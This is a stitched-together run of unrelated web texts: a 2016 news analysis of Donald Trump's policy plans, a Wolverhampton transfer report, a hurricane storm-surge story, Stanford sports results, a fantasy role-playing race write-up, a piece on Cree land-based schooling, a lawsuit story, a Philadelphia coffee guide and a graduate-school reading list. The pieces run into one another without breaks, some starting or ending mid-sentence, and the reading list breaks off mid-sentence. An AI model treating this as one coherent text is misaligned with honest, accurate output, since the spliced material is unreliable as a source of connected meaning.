On trade, the Republican nominee has vowed to renegotiate or completely withdraw the US from NAFTA, the free trade agreement with Canada and Mexico that Trump has dubbed the "worst trade deal in history." He could single-handedly do that without Congress, just as he could stymie the Trans-Pacific Partnership he has railed against.
He has also pledged to go after Chinese currency manipulation and impose additional tariffs of as much as 35% on certain foreign countries and on US companies that move their factories abroad -- which could see consumer goods rise by that same percentage.
Trump's presidency could radically alter the increasingly interconnected global economy, which has shot in the direction of more free trade, not less, in recent years. His presidency could usher in a more protectionist era.
Terrorism
Trump will also seek to rethink how the US combats terrorists, tossing aside the attempts by Presidents George W. Bush and Barack Obama to bring Muslim-Americans and other Muslim countries into the fold, rather than risk alienating them.
Trump has said he would seek to work with Muslim countries eager to join in the fight against ISIS, but he has also stoked Islamophobic sentiment in the US and proclaimed, "Islam hates us."
His rhetoric on the campaign trail and policy proposals on that matter could prove a roadblock to those efforts of increased cooperation with Muslim majority countries. During his presidential bid, Trump called for the creation of a national database to register all Muslims living in the US, called for targeted surveillance of US mosques.
JUST WATCHED Donald Trump's Middle East challenges Replay More Videos... MUST WATCH Donald Trump's Middle East challenges 03:06
And last December, he famously called for a "total and complete shutdown of Muslims entering the United States," a proposal he has never explicitly retracted. Trump has since focused on his "extreme vetting" proposal, which would include a ban on individuals from terror-prone countries, though he has not outlined which countries will be included in that list.
It is still unclear exactly how he will take on ISIS in Syria and Iraq. Trump has at times said he is open to sending in tens of thousands of US troops and consistently vowed to "bomb the s***t out of ISIS."
At other times, he's said he would like to keep the US out of the civil war in Syria, and instead favored ceding regional influence to Russia.
He has promised to work toward a closer relationship with Russia, which has ensconced itself as a top US adversary in recent years, and has promised to renegotiate the Iran deal, which he has trashed.
Economic policy
Trump's economic proposals have focused on tearing down government regulations he views as overly burdensome on US businesses -- which would include undoing environmental protections erected under the Obama administration -- and reforming the US tax code.
But a cloud of uncertainty hangs over how the whopping across-the-board tax cuts he has promised will affect the US deficit. While he has promised to keep the proposals revenue-neutral, tax policy experts have said Trump's proposals could add billions, if not trillions, of dollars to the US debt.
Republican president-elect Donald Trump delivers his acceptance speech as Vice president-elect Mike Pence looks on in the early morning hours of November 9, 2016.
Ultimately, many in Washington and across the country are now wondering how much of Trump's campaign promises will the soon-to-be president stick to once he walks into the Oval Office and the Situation Room.
Beyond the campaign promises and incendiary rhetoric during his 17 months campaigning for his job as president, Trump also repeatedly touted his willingness to compromise and reach "deals."Wolverhampton Wanderers have signed midfielder Bakary Sako from St Etienne for an undisclosed fee.
The 24-year-old, who only had one year left on his contract with the French club, has agreed a three-year deal.
Sako, a former France Under-21 international, scored 10 times in 67 league games for the Ligue 1 side.
"He can play on either side, in behind the striker and has a great left foot," Wolves boss Stale Solbakken told the club website.
"He has great experience from playing in a top-six or seven team in France over the last two seasons and hopefully he can be a match-winner for us."
Sako added: "I have always wanted to play in England because I believe that English football suits my style.
"And I think Wolves is a very good club for me to join."
Sako has become the club's seventh signing of a busy transfer window, following the capture of Bjorn Sigurdarson, Frank Nouble, Tongo Doumbia, Slawomir Peszko, Georg Margreitter and Razak Boukari.
The signing is a boost for Wolves following news that midfielder Jamie O'Hara has faced another setback in his return from injury.If a storm similar to the Great New England Hurricane of 1938 were to strike again, communities in Buzzards Bay could be devastated, according to a computerized model developed by the National Weather Service.
“It’s beautiful to live at the coast, that’s for sure, but one of these days it’s going to get us,’’ said Glenn Field, warning coordination meteorologist for the weather service in Taunton.
The SLOSH, or Sea, Lake, and Overland Surges from Hurricanes, model was used to simulate a Category 3 hurricane traveling at 60 miles per hour, similar to the 1938 storm, moving through Narragansett Bay, just west of Buzzards Bay, Field said.
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Weather service meteorologists estimated that “ground zero’’ for the hurricane would be the Gray Gables section of Bourne, along with Parkwood and Swifts beaches in Wareham, Field said.
“Those places could experience 25- to 30-foot storm surges someday,’’ he said. A storm surge is the rise above normal high tide. Buzzards Bay has never seen a surge greater than 16 feet, Field said.
The 1938 storm, which came ashore in Long Island, N.Y., then Milford, Conn., 74 years ago today, killed 564 people and injured 1,700 more, according to the weather service. With wind gusts up to 186 miles per hour and tides as high as 25 feet, it was one of the most destructive storms ever to hit Southern New England.
Nearly 238 million trees were downed in Connecticut alone after the 1938 storm. Nearly 9,000 homes were destroyed, and about 15,000 were damaged in 1938. About 2,600 boats were also destroyed, according to the weather service.
Field said a similar storm today would cause “an unbelievable amount of damage,’’ since homes and buildings now stand where some of those trees once did.
“While we’ve had a couple of hurricanes since then, we like to say that people have a warped sense of reality’’ because they haven’t seen the damage that could be wreaked by a major hurricane, Field said. “Not through any fault of their own, but because it hasn’t happened in a while.’’
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The 1938 hurricane brought the strongest winds ever recorded in the region, according to the weather service. The Blue Hills Observatory reported sustained winds of 121 miles per hour and a peak wind gust of 186 miles per hour.
Some families were without power for weeks, according to the weather service.
Homes and marinas near Narragansett Bay were completely devastated, and downtown Providence was submerged under a 20-foot storm tide, according to the weather service, which used information from a research paper by David R. Vallee and Michael R. Dion entitled “Southern New England Tropical Storms and Hurricanes, A Ninety-eight Year Summary 1909-1997.’’
Field said weather service officials are already gearing up for the 75th anniversary of the Great Hurricane of 1938 and plan to contact local libraries for photos of the catastrophic event to use in their commemoration.
“We’re just talking about it,’’ he said. “We’d really like to have a big outreach campaign.’’
While the region has seen lots of tropical storms, New England has only taken a hit from four major hurricanes, Field said, listing the storms of 1938, 1944, and hurricanes Carol and Edna in 1954.
“We’ve only had four major hurricanes impact New England in the last century,’’ Field said. “We haven’t had any since then, in 58 years. So, we’re due.’’
The most recent official hurricane to hit New England directly was Hurricane Bob, a Category 2 storm that hit Newport, R.I., on Aug. 19, 1991.
“It was big, but it was not huge,’’ Field said. “Basically, a major hurricane is considered a Category 3 or higher.’’
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While Florida hurricanes typically travel at 5 to 10 miles per hour, New England hurricanes accelerate up the coast and pass the region at an average speed of 33 miles per hour, he said.
Areas east of the track of the counterclockwise-rotating storm will see maximum wind strength, while areas north and west of the track will see flooding rains.
“You do have to know where you are with respect to the track of the eye,’’ Field said.
Field said the most severe effects of a hurricane will arrive way ahead of the storm.
“Forget about when they say the eye is going to make landfall,’’ he said. “If you wait for the eye of the storm, you’re going to be 14 hours late.’’Dillion Schoen and Kelly Myers each scored three goals and the 12th-ranked Stanford lacrosse team used a second-half rally to ease past visiting Colorado, 12-10, Sunday in a Mountain Pacific Sports Federation contest.
In the first half, Colorado (8-2, 3-0 MPSF) took 11 shots on Stanford (8-3, 3-1 MPSF), but Allie DaCar was on point again with four saves in the half.
Quirine Eijkenboom Quirine Eijkenboom
The Buffaloes answered four minutes later, only to be met with four straight Cardinal goals. Kelsey Murray scored two straight to give Stanford a 5-1 lead.
Colorado scored four unanswered goals to send the teams into the break knotted at five.
The second half saw the Cardinal come alive, outshooting the Buffaloes 10-8, while stepping up to break up Colorado's dominance on the draw control as it scrapped for six of the 13 draws.
Goals were traded back and forth with Colorado scoring twice to take the lead in the first five minutes of play, but CU's lead was brief as Stanford ripped off three unanswered goals.
CU's Darby Kiernan put up her second goal of the game which Stanford answered by adding three more goals to inch away from the Buffaloes for good with four minutes remaining.
The Cardinal returns to MPSF action Friday with a game at Oregon. Game time is set for 1 p.m. and will be aired on Pac-12 Networks.
Women's golf
Lauren Kim fired a 2-under 70 in the first round of the Silverado Showdown in Napa on Sunday, one of four Stanford golfers who shot par or better in helping the Cardinal end the first day with a four-stroke lead over second-place Colorado.
Quirine Eijkenboom, Casey Danielson and Mariah Stackhouse are in a seven-way tie for ninth, each shooting an even-par 72. Shannon Aubert and Sierra Kersten, playing as an individual, are in a tie for 16th place, each with a 1-over 73.
"I saw a lot of confident, committed swings," said Anne Walker, the Margot and Mitch Milias Director of Women's Golf. "I've always said our strength is our depth."
Kim led the way for No. 11 Stanford, the highest ranked of the 18 participating teams. She recorded four birdies and two bogeys, playing the front nine in 2-under 34.
Stackhouse rebounded from a double-bogey at the par-4 first hole with five birdies. She toured the back nine in 2-under 34, closing with a birdie at the par-5 18th.
Danielson collected four birdies, while Eijkenboom overcame a first-hole bogey to play the last 17 holes in 1-under, reeling off 14-straight pars before making a birdie at the par-5 16th.
Aubert was a model of consistency, fashioning 17 pars and one bogey.
The tournament continues Monday and Tuesday.
Women's tennis
No. 18 Stanford had its three-match winning streak halted, dropping a 4-3 decision to top-ranked California on Sunday.
In a match televised on Pac-12 Networks, the Cardinal (10-5, 5-1 Pac-12) captured the doubles point for an early 1-0 lead, but was unable to generate momentum as the Golden Bears (17-0, 5-0 Pac-12) quickly surged ahead at the start of singles play.
The match represented an opportunity for Stanford to pick up another signature win to complement its 4-3 home victory over No. 7 Florida back on Feb. 28.
With three matches remaining in the regular season, the Cardinal is aiming to lock in a top-16 seed in order to host NCAA Championships first and second rounds.
Despite the loss, Stanford has recently held the upper hand in the Bay Area rivalry, winning 10 of the last 15 meetings. Sunday's tilt was considered a nonconference match, as only the April 16 rematch on The Farm will count in the Pac-12 standings.
California is enjoying its best season in school history and had too much firepower on Sunday. However, that was not the case in doubles, where Stanford collected victories at the top two spots to claim a 1-0 lead.
The Golden Bears snatched the momentum in singles, ripping off four straight matches to secure the victory.
Lynn Chi, Karla Popovic and Klara Fabikova all powered their way to straight-set victories in which the trio surrendered three games or less in each set.
The clincher came from court one, where Maegan Manasse defeated Carol Zhao 7-5, 6-4. It was Zhao's first loss of the season in five matches and only the second of her career in 13 meetings against a Golden Bear opponent.
Even with the match decided, Caroline Lampl and Krista Hardebeck both managed to grind out three-set victories on the back courts. Hardebeck won her 12th consecutive match and now leads the team with 18 overall victories.
Stanford returns to action on Friday at Washington in a noon match.
Softball
A resilient effort by Stanford fell short in extra innings Sunday as the Cardinal dropped a 3-2 Pac-12 Conference decision to visiting Oregon State in 10 innings.
The Cardinal (12-17, 0-6 Pac-12) erased a 2-1 deficit and nearly walked-off the Beavers (24-9-1, 4-5 Pac-12) in the bottom of the seventh inning when Jessica Plaza hit a two-out RBI-triple off the top of the right field wall; about six inches from clearing the fence. Plaza's hit knotted the game at 2-2 but Stanford was unable to bring her home.
After scoreless eighth and ninth innings, the Beavers opened the tenth inning with back-to-back hits to take a 3-2 lead. Stanford was unable to generate a run in the bottom half of the inning and Oregon State secured the series sweep.
Carolyn Lee (6-10) provided another strong outing in the circle for the Cardinal, going all 10 innings and limiting the Beavers to three runs on nine hits and two walks with four strikeouts. It is the longest outing of her career and the 10th complete game she's thrown this season.
Plaza paced the Cardinal offensively, going 2-for-4 with a triple, an RBI and a walk. Savannah Schulze provided a clutch leadoff double in the bottom of the seventh inning that led to the game-tying run.
Stanford's defense was excellent throughout the contest and featured diving stops by Lauren Wegner at second base and Kylie Sorenson at shortstop. Plaza also contributed a highlight-worthy catch up against the backstop netting to end the fourth inning.
Stanford completes its four-game homestand Wednesday at 6 p.m., when it plays host to Pacific.
Sand volleyball
Stanford dropped its weekend finale to Boise State, 3-2, on Sunday to finish the road trip 2-1 at the Delta Owens Sports Complex in Portland.
"We got another great showing from the pairs of Hayley Hodson and Payton Chang, and Merete Lutz and Halland McKenna," said Cardinal coach Denise Corlett. "We need to continue to be more consistent up and down the lineup and minimize some of our errors to be able to win these close matches."
The Cardinal (4-4) fell behind early, losing the number four and five matches. Tami Alade and Karina Robinson fell 18-21, 21-9, 15-7, while Courtney Bowen and Jenn DiSanto lost 21-17, 21-16.
Stanford struck back with a win in the number three match, with Merete Lutz and Halland McKenna winning 21-19, 21-23, 15-9, cutting the deficit to 2-1.
The Broncos (3-0) clinched the match with a 21-10, 24-22 at the number two spot, with Ivana Vanjak and Catherine Raquel representing the Cardinal.
Hayley Hodson and Payton Chang earned a consolation point for the Cardinal, winning 21-17, 22-20 at the number one spot.
Stanford returns to action on Tuesday, hosting Cal in a dual match at 4:30 p.m. at the Stanford Sand Volleyball Stadium.
"We hope to see plenty of support from the students and the community for a big week of matches, starting with our dual against Cal and finishing with a tournament at home over the weekend," added Corlett.
The match will be televised on Pac-12 Networks.
Men's crew
Each of Stanford men's rowing's three entries in the San Diego Crew Classic placed fourth in Sunday's Grand Final races on Mission Bay.
With Yale (5:58.760) leading from start to finish and California (6:05.464) taking second, Stanford battled Drexel and the Michigan Rowing Association for the final spot on the medal stand in the varsity eight race for the Copley Cup.
The Cardinal was edged out by Drexel (6:15.966) for third, capturing fourth place with a time of 6:18.218. It finished several seats ahead of the Michigan Rowing Association (6:19.663).
The second varsity eight, which advanced to Sunday's Grand Final with a second-place finish in its heat on Saturday, placed fourth on Sunday with a time of 6:28.394.
The Cardinal just missed the podium as the Michigan Rowing Association captured third place by a couple seats with a time of 6:26.584. California (6:07.074) and Yale (6:09.951) finished one and two, respectively, in the race.
Stanford's third varsity eight saw its first race action on the water in Mission Bay on Sunday. The Cardinal placed fourth with a time of 6:44.222. UC Santa Barbara took third place by a couple seats over Stanford with a time of 6:42.822. California (6:12.966) and UC San Diego (6:41.817) took first and second, respectively.
Stanford will be back in action April 16-17 as it hosts the Stanford Invitational and Pac-12 Challenge at Redwood Shores.
Lightweight: Make it six straight titles for the Stanford lightweight rowing varsity eight at the San Diego Crew Classic.
The Cardinal's top boat defended its crown on Sunday to take home the A.W. Coggeshall Cup for the sixth consecutive year during Sunday's Grand Final on Mission Bay.
Stanford raced down the course in 7:16.799 to win by open water over Boston University (7:28.919) and Princeton (7:41.322).
The Cardinal also had a boat in the Open Eight Grand Final in San Diego. Stanford's lightweight crew took home the bronze out of eight boats in the race, completing the course in 7:20.500.
An open eight from California (7:04.000) won the race, while an open eight from Texas (7:17.283) edged out the Cardinal for second place.
Stan |
to protect the innocent.
Beacons of Light
Lightborn are the product of Radiant Energy seeping into the mortal world from the Celestial Planes. In some Campaigns they might be tied to the realm of a particular Good Deity, such as Amauntor in the Forgotten Realms, however whilst their power may seem similar to a Cleric or Paladin, the Lightborn feels no specific inclination to serve any particular god or goddess. Their power and desire to change the world for good stems from the Radiant Energy infused into their very being.
Lightborn are naturally heroic in personality. They are selfless and courageous, the first to stand against tyrants or bullies. They encourage the best in those around them and give selflessly to those who need their aid. They have a strong love of life, finding it easy to laugh and cry, embracing even simple joys to their fullest.
Their naturally heroic traits can lead a Lightborn astray however. Many feel an incredible sense of self-worth, believing themselves destined for greatness. This can lead some Lightborn to become arrogant or stubborn, refusing to believe they are not important in the great plan of the universe. Lightborn also often feel a great responsibility for those around them, this can make them seem patronising or overly-protective, as well as leaving them with deep regret or guilt if misfortune befalls those they seek to protect.
Death has a strong significance to a Lightborn. A well lived life is one to be celebrate. This could be a glorious death in battle or a long & happy life ending in a peaceful death. But a life taken too early, through misfortune, illness, or worse, is difficult to accept. Many Lightborn will fall into a dark and long mourning for lost friends or allies, others are driven to furious vengeance.
Bold and Bright
Born to Human parents, Lightborn at first seem indistinguishable from normal children. Any human, of any background, can be a Lightborn, though most have lighter-coloured hair than the norm for their culture. Lightborn are as complex and varied as Humans in terms of appearance or identity. However, it is common for Lightborn to have exceptionally vibrant eyes, almost seeming to contain a swirl of energy.
When they reach adulthood, Lightborn begin to display more of their mystical nature as their spell-like abilities manifest. When an adult Lightborn feels a strong emotion, their hair begins to softly glow with a golden light, radiating outwards and casting a gentle light around them.
Lightborn are natural leaders, and often prove to be popular and well-liked by those who know them well. They find it easy to inspire those around them with a joke, a heartfelt speech, or a rallying battlecry. Many Lightborn find themselves in positions of local power, serving as a well-loved politician, a heroic Guard Captain, or servant to a Good-aligned Deity.
Why only Human? It is still unclear why only Human parents give birth to Lightborn, some scholars believe it is because the Human body is more susceptible to Planar magic thus allowing the slow infusion process that gives way for the Lightborn to exist. Religious leaders may claim it is because Humanity has a closer connection to the Celestial Planes or homes of linked Deities, whilst local sages or folklore experts simply believe it is because “Humanity needs an extra helping hand to set it on the right path now and then”.
There have not been any reported cases of Lightborn from other races so far, which is not to say that none have existed but that any such individual would be very rare..
If you wish to play a Lightborn from a different race, speak with your DM to discuss how they fit into the world and any necessary racial adjustments that would be required.
Trusting and Zealous
Whilst Lightborn showcase wholesome and heroic traits, they often fall prey to those with malicious intents or their own driving desire to protect.
As Lightborn are driven by a desire to do good, they often find their help is misused or abused. Whilst a Lightborn may not be foolish enough to fall for every charlatan or enemy appealing to their good nature, they find it hard not to see the best in people and give them a chance to change their ways.A northern Manitoba community is drawing on its Cree traditions to shape students' future, through a unique program that sees students hunting, fishing and trapping for high school credits.
Students at Oscar Lathlin Collegiate on the Opaskwayak Cree Nation essentially learn to live off the land with a trapping education course in Grade 11 and a forest ecology program in Grade 12 — programs that integrate Cree culture and language from community members and elders.
It also complements the school's existing language requirement: students must complete one Cree-language course to graduate.
"I like setting the rabbit snares. We skin them and we eat them," said Richard Budd, 13, a participant in the school's newest program, aimed at Grade 7 and 8 students who have fallen behind in their studies.
'A sense of connection'
"The more that it's outdoors and the more that it's activity-based and hands-on, I think the more that they're motivated to participate," said teacher Dan Ehman.
Richard Budd (centre) learns to use a compass, part of the Opaskwayak Cree Nation's 'land-based' education program. (Tim Fontaine/CBC) Now in its second year, students like Budd take classes that are a mix of academics and hands-on outdoor activities.
On a typical day, the students will spend the morning in a classroom while afternoons are spent doing activities such as canoeing, learning to make fires safely or orienteering — an exercise that has Budd and his classmates walk through a large field, using compasses to find clues left by Ehman.
"I can use this to help people, like my family, when they go out hunting," Budd said.
Teacher Randy Koshel says the land-based courses give students on the Opaskwayak Cree Nation a sense of connection. (Tim Fontaine/CBC) "It gives the kids a sense of connection," said land-based education teacher Randy Koshel.
"They're getting a chance to see what outdoor living is and the cultural and spiritual values that are shared, especially when elders come in and talk about it."
During the warmer days, Koshel's Grade 12 students do activities like carving and sanding walking sticks made from trees harvested in the surrounding area. Things will ramp up as the temperature drops, with more intensive trapping and hunting trips.
Andre St. Gelais, 16, sands a diamond willow walking stick, just one of the activities students do in the Opaskwayak Cree Nation's land-based education system. (Tim Fontaine/CBC) "I like hunting and fishing, so I figured this course would be the course to take," said Andre St. Gelais, 16, while sanding a walking stick made from diamond willow.Like many students who have taken the land-based courses, Koshel said he's seen St. Gelais' confidence grow.
"There's excitement when they go out. They're focused. They start identifying with who they are and what they can do," he said.
'A huge resource'
With just over 500 students, Oscar Lathlin Collegiate is a large school surrounded by trees and fields. Built in 2011, the building uses geothermal heating and cooling and natural sunlight to illuminate the many rooms. Classrooms are equipped with smartboards — state-of-the-art interactive digital whiteboards. There's even a skatepark.
It's a modern facility filled with the community's Cree culture and language.
For some Grade 7 and 8 students at Oscar Lathlin Collegiate on the Opaskwayak Cree Nation, only half the day is spent in a classroom. The rest of the time the students are on the land. (Tim Fontaine/CBC) Signs are in Cree, while portraits of the community's chiefs and leaders watch over students in the large, airy hallways. There's also a framed reproduction of the documents that make up Treaty 5, of which this community is signatory.
But it's the land, water and people just outside the school grounds that some staff see as the greatest educational tool.
"Kids are into iPhones and videos games, so it would be great for them to be involved, since there is such a huge resource in the country around them," said Ehman.
To help make that resource more accessible, the school built two cabins on nearby lakes that can be used as land-based classrooms or a base for the staff's professional development days.
Developing 'knowledge keepers'
While it's a creative way to get kids physically active and engaged in education, principal Ron Constant said the land-based program also ensures the next generation becomes the Cree community's future "knowledge keepers."
"We're getting older and we want to keep passing it down," he said.
The school gets nearly 30 per cent less federal funding for each student than the school just across the river in the town of The Pas gets from the province, but Constant said his students aren't suffering.
Oscar Lathlin Collegiate on the Opaskwayak Cree Nation in northern Manitoba has Cree signs. (Tim Fontaine/CBC) In fact, he said his students are testing at the same level as their provincial counterparts.
"The stigma that you're going to school in the reserve school and getting a sub-par education is no longer a hindrance," Constant said proudly.
"They'd get the same level of education if they were to go to Winnipeg."ATLANTA, July 12 (UPI) -- A Texas law student who took a defense lawyer's $1 million challenge from a "Dateline NBC" interview is suing for the money he claims he is owed.
Dustin Kolodziej of the San Antonio area said attorney James Mason offered in a "Dateline NBC" interview he would pay $1 million to anyone who could prove him wrong in claiming his client, Nelson Serrano, could have made it from Atlanta's Hartsfield-Jackson International Airport to a La Quinta Inn three miles away in less than 28 minutes, The Atlanta Journal-Constitution reported Monday.
"I challenge anybody to show me. I'll pay them $1 million if they can do it," Mason told the interview.
Serrano was convicted of killing four people from Bartow, Fla., in 1997 and the prosecution's case hinged on his ability to reach the inn in the time frame.
Kolodziej said he got off a plane at the airport, took his car from the parking garage and made it to the inn in just 19 minutes, capturing the whole experience on a camcorder. However, Mason refused to pay the $1 million reward, claiming the offer was a figure of speech.
Kolodziej's lawsuit, filed in U.S. District Court in Atlanta, alleges breach of contract, claiming Mason's statements on "Dateline" constituted a verbal contract.
"What this case boils down to is would a reasonable person believe that this is legitimate," said David George, a lawyer for Kolodziej. "Think about the context. He's on 'Dateline,' national TV, and his client is on death row. That is not a joking context."At long last, we can call it the city of coffee-ly-love: Philadelphia, long lingering in that spot where a great food city waits for great coffee to chase its heels, has come into its foamy own. From the true tiny-shop artisan pioneers Spruce Street and Ultimo Coffee has followed a community of baristas, brewers and aficionados.
Here's a little tour of what's new and brewing.
Spruce Street Espresso
One of the first serious Philly cafes, this tiny boîte on Spruce is no-nonsense—and really, how would they have room for it? The family-owned cafe serves Counter Culture Coffee brews as espresso and single-origin drip, the latter steeped to order in Clever Dripper by-the-cup brewers. A third grinder lies in reserve within the cozy, blue space, ready for single origin espressos or feature espressos (like Counter Culture's new delicious Apollo blend.) Watch out for Spruce Street's second shop, which will feature a new La Marzocco Strada espresso machine. (Lucky for their name, the next store will be located conveniently down the way...on Spruce Street.)
Spruce Street Espresso
1101 Spruce Street, Philadelphia PA 19107 (map) 215-609-4469; sprucestespresso.wordpress.com
Elixr
A surprising (and stylish!) oasis in Philly's city center is newcomer Elixr—a just under three-month-old coffee bar done to the nines in rough-cut marble, slate, and reclaimed wood. One of the few, new, East coast outposts of acclaimed Kansas-based roaster PT's, Elixr's setup includes espresso drinks (from PT's Southpaw blend) and drip coffees brewed on Chemex and Clover. Where'd they get the money for all these toys and great baristas? Philadelphia Eagles Offensive tackle #74, Winston Justice, is one of the owners. And though that weird fact's not what makes the coffee taste so good...I can't say that it doesn't help.)
Elixr Coffee
207 South 15th Street, Philadelphia PA 19102 (map); elixrcoffee.com
Ultimo Coffee
Over in South Philly, creep across Broad Street to the supercharming Ultimo Coffee—one of the country's loveliest places to enjoy a beautifully crafted coffee. From the sunny garage doors to the curved wood bar, from the pourover bar to the espresso drinks (your macchiatos and cappuccinos made supple via milk from Maplehofe Dairy), to the innovative (and weird) Chemex filter adapters, Ultimo is clearly striving to work at a higher level.
Counter Culture beans are in the hoppers again here, where we were steered towards a light, citrusy pourover of Kenya Kagumoini. And, um, wouldn't it be convenient if a coffee shop were partnered with a high-end beer boutique and bottle store? Ultimo is, and just beyond the pastry case you'll find the amply stocked aisle of beers at Brew.
Ultimo Coffee
1900 South 15th Street, Philadelphia PA 19145 (map) 215-339-5177; ultimocoffee.wordpress.com
Shot Tower Coffee
With a city as rich in neglected, old, beautiful spaces as Philadelphia, it's lucky that coffee's finally coming up in the culinary ranks. Spots like the ridiculously sunny Shot Tower, a Stumptown-brewing shop in Queen Village in a 50-years-shuttered former stonecutter's shop, are among the best examples. The quiet corner shop fills with light—and beautiful coffees, and a great tea list—and is decorated with local conceits like a common table scavenged former Tastyake factory breakroom.
Enjoy an espresso drink off the barista-nerd La Marzocco Strada, or a drip coffee on Fetco urn (the manual pourover program, we're told, is still under development.) Between the creamy cappuccinos, exotic flowers, whitewashed wood and, yes, artisanal whoopie pies...you may not find a more tempting atmosphere in Philly.
Shot Tower Coffee
542 Christian Street, Philadelphia PA 19147 (map) 267-886-8049; shottowercoffee.com
Bodhi Coffee
This narrow little Queen Village shop is functional, clean, and a little gourmet-curious. Stumptown coffee (via Synesso espresso machine or Beehouse pourover cones) is served alongside a small supply of foods and sundries—you'll be able to replenish your supplies of yam bitters and Maldon sea salt should you find the cupboards bare at home.
The atmosphere is fairly study-centric, with tables lined up like a classroom, but the hushed vibe won't dampen the pleasures of a stiff, politely dispensed cortado.
Bodhi Coffee
410 South 2nd Street, Philadelphia PA 19147 (map) 267-239-2928; bodhicoffeephila.com/
Lovers & Madmen
And let us not forget West Philly: Lovers & Madmen hasn't, and it's been humbly delivering quality Counter Culture brews for a few years now to a largely student population. Blue, not red, stands for love here, from the paintworn railings to the blue La Marzocco FB80 espresso machine.
Grab a cupcake and a sofa and a foamy drink in this University City outpost that feels refreshingly more like a social center than a library annex.
Lovers & Madmen
28 S 40th Sttreet, Philadelphia PA 19104 (map) 215-243-9851; www.loversandmadmencoffee.com
Philadelphia coffee has done a swift job of growing up in the last few years—do you have a favorite new spot?
This post may contain links to Amazon or other partners; your purchases via these links can benefit Serious Eats. Read more about our affiliate linking policy.So, you’re just starting graduate school and are overwhelmed. You don’t know what to do, how to prepare, what to say, or what to expect. You’re nervous about your coursework, the workload, unsure about your advisor and committee, and not entirely sure what’s expected of you. Nevermind the fact that you have to research and write a giant study on a topic you haven’t really identified yet and stand in front of a room of your peers and act like an expert on the topic. Good luck. I’m not going to stand here and tell you it will be fun. A lot of it won’t be. What I will tell you is that this is your chance to learn about yourself as a person, teacher, researcher, and scholar. Graduate school is when you figure out what type of professional you’re going to become. And part of this means that you are going to have to learn how to do your work. More accurately, it’s when you will learn how you do your work. I put a lot of energy into this process during my time in graduate school, since I know that I am prone to distraction. A number of books helped me along the way, to critically think about my approach to doing work, getting things accomplished, and developing as a professional.
Writing/Research/Presenting Some things you’re going to have to learn how to do in graduate school: conduct research, write about your research, and present that research. These are the books that helped me start to figure those things out.
The War of Art Steven Pressfield I don’t care how smart you think you are, at some point you will feel the The Resistance. This is the voice in the back of your head that tells you to give up, that you can’t work today, that you won’t finish, that you’re not good enough…pretty much any and every negative thought that will keep you out of your chair. This book will help you defeat it by helping you to name it. Once you can name it, then it’s up to you to put a stop to it. You won’t every day…it is a war, after all. You win some battles and lose others. But at least this way you know who the enemy is, and you can start developing strategies to keep it at bay. Purchase the War of Art How to Write a Dissertation in 15 Minutes a Day Joan Bolker I’m not sure if you actually need to buy this book. What I got out of it was this basic, simple fact: you must put at least 15 minutes a day into your dissertation. This could be reading an article, or doing a quick free write, or even getting a couple sentences completed, or it could be day long writing fest. It doesn’t matter. What can’t happen is a string of days with no work…that will multiply, and next thing you know, it’s been two months and you haven’t touched your work. This is not a joke. This is a real possibility. So, 15 minutes a day. Purchase How to Write a Dissertation in 15 Minutes a Day Style: Towards Clarity and Grace Joseph M. Williams Lots of people are Strunk and White devotees, but I like Style. There are less rules, and more discussing what it means to actually craft a useful, meaningful, beautiful sentence or paragraph. It has helped me look at my sentences within the context of a paragraph and the argument I’m trying to make, and that makes for better writing. So, for those of you looking for a different approach to writing, consider picking up this book. Purchase Style: Towards Clarity and Grace The Craft of Research Wayne C. Booth, Gregory G. Colomb, Joseph M. Williams Another book that is a must read for anyone writing a dissertation that requires, er, evidence. This book will help you gather and organize your research, but also how to actually craft and write a paper that uses that evidence convincingly. Purchase The Craft of Research Presentation Zen Garr Reynolds This book changed how I look at presentations. Instead of slides that are simply the words that I’m saying out loud, Presentation Zen shows you how to use your slides as a compliment to the argument you’re trying to make. Building presentations that are visually appealling and highlight or emphasize your argument will make for a stronger presentation, and this book will help. Purchase Presentation Zen
Time Management Managing your time is a critical part of life, and graduate school is no different. I have spent lots of my own time figuring out the best ways to manage my own time, and graduate school was a good opportunity to figure that out.
Getting Things Done David Allen GTD is practically a cult, but I think it has incredible value for graduate students. One of its major takeaways is the distinction between projects and tasks. “Write Dissertation” is not an actionable task. It is a really large project. “Look up article reference” is a task that is part of the Project “Write Dissertation.” GTD helps me break down every project into every tiny miniscule task, and often helps me identify why I haven’t started something. “Write Dissertation” is a daunting task. But it’s a manageable Project. Purchase Getting Things Done The Creative Habit Twyla Tharp Building habits is an essential part of accomplishing anything, and writing a dissertation is certainly a creative endeavor. This book helped me recognize that the work I’m doing is creative, and that harnessing that creativity, and making it a habit not a periodic flash in the pan, requires discipline. While I’m not always on point, it always serves as a good reminder to pull myself back on track. Purchase The Creative Habit Your Brain at Work David Rock I’m currently re-listening to this book on audio. It is a very accessible look at how the brain functions while you are working. Why is it that I get distracted? Can my brain be over worked? What are some strategies to stay focused? What I particularly like about this book was how it examined the science of the brain, and applied it to trying to do work. For those of you who like to understand how things work, this is the book for you. Purchase Your Brain at Work
The University, Teaching, and Networking Being a graduate student puts you in a strange middle ground at a University. You’re a student, but you’re also an employee, researcher, teacher, and mentor. Understanding how Universities work, how to teach, and what the environment you’re occupying for four to ten years is important. It also requires you to associate and navigate a new network of scholars who to this point were your teachers. Now, you are beginning the transition to them being your colleagues, and learning how to interact and build relationships is a critical part of that process.
Promotion and Tenure Confidential David D. Perlmutter I bought this book the second it came out. It gave me a glimpse into the world of higher education for those who just left graduate school, and was a good primer on what it might be like to be a faculty member. Regardless, it gave me a good idea as to what my faculty were dealing with on a regular basis, and made me more aware of some of the realities of what working at a university was like. Purchase Promotion and Tenure Confidential
Learner Centered Teaching Maryellen Weimer At some point, you’re going to find yourself in front of a classroom teaching about your discipline, and it’s very likely your department will not have provided you with any training on how to actually teach. So, do yourself a favor and read a book about it. I took an entire course on college teaching, in addition to attending seminars offered by my graduate school, and this was one of my favorite books. Not just because I am a proponent of the learner centered approach, but also because of the annotated bibliography at the end. A great place to start thinking about your pedagogical approach to teaching, before you’re in charge of a classroom. Purchase Learner Centered Teaching Never Eat Alone Keith Ferrazzi A business book, Never Eat Alone was a refreshing and honest look at how to build and maintain a professional network. For graduate students, one of the most difficult things to do is to approach scholars you don’t know and build relationships with them. This book helped me get over that nervous hump, and realize that most people want to be contacted, and the vast majority will happily grab a beer or lunch to discuss a topic they research. While this book is geared towards the business community, the basic tenants are the same. Purchase Never Eat Alone This list is by no means exhaustive, and I know there are many others that helped me and have helped others. Do you have any other books that you’d recommend to future or freshly minted graduate students? Please leave them in the comments below!! PS – a note on these links…As I write this, I am surrounded by bookshelves full of English translations of the Puranas and the 